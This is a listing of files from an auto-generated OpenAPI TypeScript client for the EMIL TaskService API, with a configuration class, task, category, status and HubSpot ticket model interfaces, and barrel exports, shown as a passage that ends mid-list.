| * application/vnd.company+json | ||
| * @param mime - MIME (Multipurpose Internet Mail Extensions) | ||
| * @return True if the given MIME is JSON, false otherwise. | ||
| */ | ||
| isJsonMime(mime: string): boolean; | ||
| /** | ||
| * Returns "Bearer" token. | ||
| * @param token - access token. | ||
| * @return Bearer token. | ||
| */ | ||
| getBearerToken(token?: string): string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.Configuration = void 0; | ||
| var Configuration = /** @class */ (function () { | ||
| function Configuration(param) { | ||
| if (param === void 0) { param = {}; } | ||
| this.apiKey = param.apiKey; | ||
| this.username = param.username; | ||
| this.password = param.password; | ||
| this.accessToken = param.accessToken; | ||
| this.basePath = param.basePath; | ||
| this.baseOptions = param.baseOptions; | ||
| this.formDataCtor = param.formDataCtor; | ||
| } | ||
| /** | ||
| * Check if the given MIME is a JSON MIME. | ||
| * JSON MIME examples: | ||
| * application/json | ||
| * application/json; charset=UTF8 | ||
| * APPLICATION/JSON | ||
| * application/vnd.company+json | ||
| * @param mime - MIME (Multipurpose Internet Mail Extensions) | ||
| * @return True if the given MIME is JSON, false otherwise. | ||
| */ | ||
| Configuration.prototype.isJsonMime = function (mime) { | ||
| var jsonMime = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i'); | ||
| return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json'); | ||
| }; | ||
| /** | ||
| * Returns "Bearer" token. | ||
| * @param token - access token. | ||
| * @return Bearer token. | ||
| */ | ||
| Configuration.prototype.getBearerToken = function (token) { | ||
| return ('' + token).startsWith("Bearer") ? token : "Bearer " + token; | ||
| }; | ||
| return Configuration; | ||
| }()); | ||
| exports.Configuration = Configuration; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export { Environment, BaseAPI } from "./base"; | ||
| export * from "./api"; | ||
| export * from "./configuration"; | ||
| export * from "./models"; |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __exportStar = (this && this.__exportStar) || function(m, exports) { | ||
| for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p); | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.BaseAPI = exports.Environment = void 0; | ||
| var base_1 = require("./base"); | ||
| Object.defineProperty(exports, "Environment", { enumerable: true, get: function () { return base_1.Environment; } }); | ||
| Object.defineProperty(exports, "BaseAPI", { enumerable: true, get: function () { return base_1.BaseAPI; } }); | ||
| __exportStar(require("./api"), exports); | ||
| __exportStar(require("./configuration"), exports); | ||
| __exportStar(require("./models"), exports); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface AssigneeClass | ||
| */ | ||
| export interface AssigneeClass { | ||
| /** | ||
| * Assignee code/identifier | ||
| * @type {string} | ||
| * @memberof AssigneeClass | ||
| */ | ||
| 'code': string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CategoryClass | ||
| */ | ||
| export interface CategoryClass { | ||
| /** | ||
| * id | ||
| * @type {number} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * code | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * name | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * createdBy | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'createdBy': string; | ||
| /** | ||
| * updatedBy | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'updatedBy': string; | ||
| /** | ||
| * createdAt | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'createdAt'?: string; | ||
| /** | ||
| * updatedAt | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'updatedAt'?: string; | ||
| /** | ||
| * slug | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'slug': string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateCategoryRequestDto | ||
| */ | ||
| export interface CreateCategoryRequestDto { | ||
| /** | ||
| * Category name: display name of the category | ||
| * @type {string} | ||
| * @memberof CreateCategoryRequestDto | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * Category slug: URL-friendly identifier (auto-generated from name if not provided) | ||
| * @type {string} | ||
| * @memberof CreateCategoryRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateCategoryResponseClass | ||
| */ | ||
| export interface CreateCategoryResponseClass { | ||
| /** | ||
| * category | ||
| * @type {CategoryClass} | ||
| * @memberof CreateCategoryResponseClass | ||
| */ | ||
| 'category'?: CategoryClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { HubSpotTicketNameValueDto } from './hub-spot-ticket-name-value-dto'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateHubSpotTicketRequestDto | ||
| */ | ||
| export interface CreateHubSpotTicketRequestDto { | ||
| /** | ||
| * submittedAt | ||
| * @type {string} | ||
| * @memberof CreateHubSpotTicketRequestDto | ||
| */ | ||
| 'submittedAt'?: string; | ||
| /** | ||
| * fields | ||
| * @type {Array<HubSpotTicketNameValueDto>} | ||
| * @memberof CreateHubSpotTicketRequestDto | ||
| */ | ||
| 'fields': Array<HubSpotTicketNameValueDto>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { HubSpotTicketClass } from './hub-spot-ticket-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateHubSpotTicketResponseClass | ||
| */ | ||
| export interface CreateHubSpotTicketResponseClass { | ||
| /** | ||
| * hubSpotTicket | ||
| * @type {HubSpotTicketClass} | ||
| * @memberof CreateHubSpotTicketResponseClass | ||
| */ | ||
| 'hubSpotTicket'?: HubSpotTicketClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateStatusRequestDto | ||
| */ | ||
| export interface CreateStatusRequestDto { | ||
| /** | ||
| * Task status name: display name of the status | ||
| * @type {string} | ||
| * @memberof CreateStatusRequestDto | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * Task status slug - URL-friendly identifier (auto-generated from name if not provided) | ||
| * @type {string} | ||
| * @memberof CreateStatusRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| /** | ||
| * Sort order for workflow display (must be unique per tenant). Lower values appear first. | ||
| * @type {number} | ||
| * @memberof CreateStatusRequestDto | ||
| */ | ||
| 'sortOrder': number; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateStatusResponseClass | ||
| */ | ||
| export interface CreateStatusResponseClass { | ||
| /** | ||
| * status | ||
| * @type {StatusClass} | ||
| * @memberof CreateStatusResponseClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateTaskRequestDto | ||
| */ | ||
| export interface CreateTaskRequestDto { | ||
| /** | ||
| * Task subject: title of the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'subject': string; | ||
| /** | ||
| * Task description: detailed description of the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'description': string; | ||
| /** | ||
| * Task assignee user code: person assigned to the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'assignee'?: string; | ||
| /** | ||
| * Task category slugs (array of category slugs) | ||
| * @type {Array<string>} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'categorySlugs'?: Array<string>; | ||
| /** | ||
| * Task status slug | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'statusSlug': string; | ||
| /** | ||
| * Task priority | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'priority'?: CreateTaskRequestDtoPriorityEnum; | ||
| /** | ||
| * Task reporter user code: person who reported the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'reporter'?: string; | ||
| /** | ||
| * Task due date. | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'dueDate'?: string; | ||
| } | ||
| export declare const CreateTaskRequestDtoPriorityEnum: { | ||
| readonly Low: "LOW"; | ||
| readonly Medium: "MEDIUM"; | ||
| readonly High: "HIGH"; | ||
| }; | ||
| export type CreateTaskRequestDtoPriorityEnum = typeof CreateTaskRequestDtoPriorityEnum[keyof typeof CreateTaskRequestDtoPriorityEnum]; |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.CreateTaskRequestDtoPriorityEnum = void 0; | ||
| exports.CreateTaskRequestDtoPriorityEnum = { | ||
| Low: 'LOW', | ||
| Medium: 'MEDIUM', | ||
| High: 'HIGH' | ||
| }; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateTaskResponseClass | ||
| */ | ||
| export interface CreateTaskResponseClass { | ||
| /** | ||
| * task | ||
| * @type {TaskClass} | ||
| * @memberof CreateTaskResponseClass | ||
| */ | ||
| 'task'?: TaskClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetCategoryResponseClass | ||
| */ | ||
| export interface GetCategoryResponseClass { | ||
| /** | ||
| * category | ||
| * @type {CategoryClass} | ||
| * @memberof GetCategoryResponseClass | ||
| */ | ||
| 'category'?: CategoryClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetStatusResponseClass | ||
| */ | ||
| export interface GetStatusResponseClass { | ||
| /** | ||
| * status | ||
| * @type {StatusClass} | ||
| * @memberof GetStatusResponseClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetTaskResponseClass | ||
| */ | ||
| export interface GetTaskResponseClass { | ||
| /** | ||
| * task | ||
| * @type {TaskClass} | ||
| * @memberof GetTaskResponseClass | ||
| */ | ||
| 'task'?: TaskClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { HubSpotTicketErrorClass } from './hub-spot-ticket-error-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface HubSpotTicketClass | ||
| */ | ||
| export interface HubSpotTicketClass { | ||
| /** | ||
| * status | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'status': string; | ||
| /** | ||
| * message | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'message': string; | ||
| /** | ||
| * correlationId | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'correlationId': string; | ||
| /** | ||
| * inlineMessage | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'inlineMessage': string; | ||
| /** | ||
| * errors | ||
| * @type {Array<HubSpotTicketErrorClass>} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'errors': Array<HubSpotTicketErrorClass>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface HubSpotTicketErrorClass | ||
| */ | ||
| export interface HubSpotTicketErrorClass { | ||
| /** | ||
| * message | ||
| * @type {string} | ||
| * @memberof HubSpotTicketErrorClass | ||
| */ | ||
| 'message': string; | ||
| /** | ||
| * errorType | ||
| * @type {string} | ||
| * @memberof HubSpotTicketErrorClass | ||
| */ | ||
| 'errorType': string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface HubSpotTicketNameValueDto | ||
| */ | ||
| export interface HubSpotTicketNameValueDto { | ||
| /** | ||
| * name | ||
| * @type {string} | ||
| * @memberof HubSpotTicketNameValueDto | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * value | ||
| * @type {string} | ||
| * @memberof HubSpotTicketNameValueDto | ||
| */ | ||
| 'value': string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| export * from './assignee-class'; | ||
| export * from './category-class'; | ||
| export * from './create-category-request-dto'; | ||
| export * from './create-category-response-class'; | ||
| export * from './create-hub-spot-ticket-request-dto'; | ||
| export * from './create-hub-spot-ticket-response-class'; | ||
| export * from './create-status-request-dto'; | ||
| export * from './create-status-response-class'; | ||
| export * from './create-task-request-dto'; | ||
| export * from './create-task-response-class'; | ||
| export * from './get-category-response-class'; | ||
| export * from './get-status-response-class'; | ||
| export * from './get-task-response-class'; | ||
| export * from './hub-spot-ticket-class'; | ||
| export * from './hub-spot-ticket-error-class'; | ||
| export * from './hub-spot-ticket-name-value-dto'; | ||
| export * from './inline-response200'; | ||
| export * from './inline-response503'; | ||
| export * from './list-assignees-response-class'; | ||
| export * from './list-categories-response-class'; | ||
| export * from './list-statuses-response-class'; | ||
| export * from './list-tasks-response-class'; | ||
| export * from './patch-category-request-dto'; | ||
| export * from './patch-category-response-class'; | ||
| export * from './patch-status-request-dto'; | ||
| export * from './patch-status-response-class'; | ||
| export * from './patch-task-request-dto'; | ||
| export * from './patch-task-response-class'; | ||
| export * from './status-class'; | ||
| export * from './task-class'; |
| "use strict"; | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __exportStar = (this && this.__exportStar) || function(m, exports) { | ||
| for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p); | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| __exportStar(require("./assignee-class"), exports); | ||
| __exportStar(require("./category-class"), exports); | ||
| __exportStar(require("./create-category-request-dto"), exports); | ||
| __exportStar(require("./create-category-response-class"), exports); | ||
| __exportStar(require("./create-hub-spot-ticket-request-dto"), exports); | ||
| __exportStar(require("./create-hub-spot-ticket-response-class"), exports); | ||
| __exportStar(require("./create-status-request-dto"), exports); | ||
| __exportStar(require("./create-status-response-class"), exports); | ||
| __exportStar(require("./create-task-request-dto"), exports); | ||
| __exportStar(require("./create-task-response-class"), exports); | ||
| __exportStar(require("./get-category-response-class"), exports); | ||
| __exportStar(require("./get-status-response-class"), exports); | ||
| __exportStar(require("./get-task-response-class"), exports); | ||
| __exportStar(require("./hub-spot-ticket-class"), exports); | ||
| __exportStar(require("./hub-spot-ticket-error-class"), exports); | ||
| __exportStar(require("./hub-spot-ticket-name-value-dto"), exports); | ||
| __exportStar(require("./inline-response200"), exports); | ||
| __exportStar(require("./inline-response503"), exports); | ||
| __exportStar(require("./list-assignees-response-class"), exports); | ||
| __exportStar(require("./list-categories-response-class"), exports); | ||
| __exportStar(require("./list-statuses-response-class"), exports); | ||
| __exportStar(require("./list-tasks-response-class"), exports); | ||
| __exportStar(require("./patch-category-request-dto"), exports); | ||
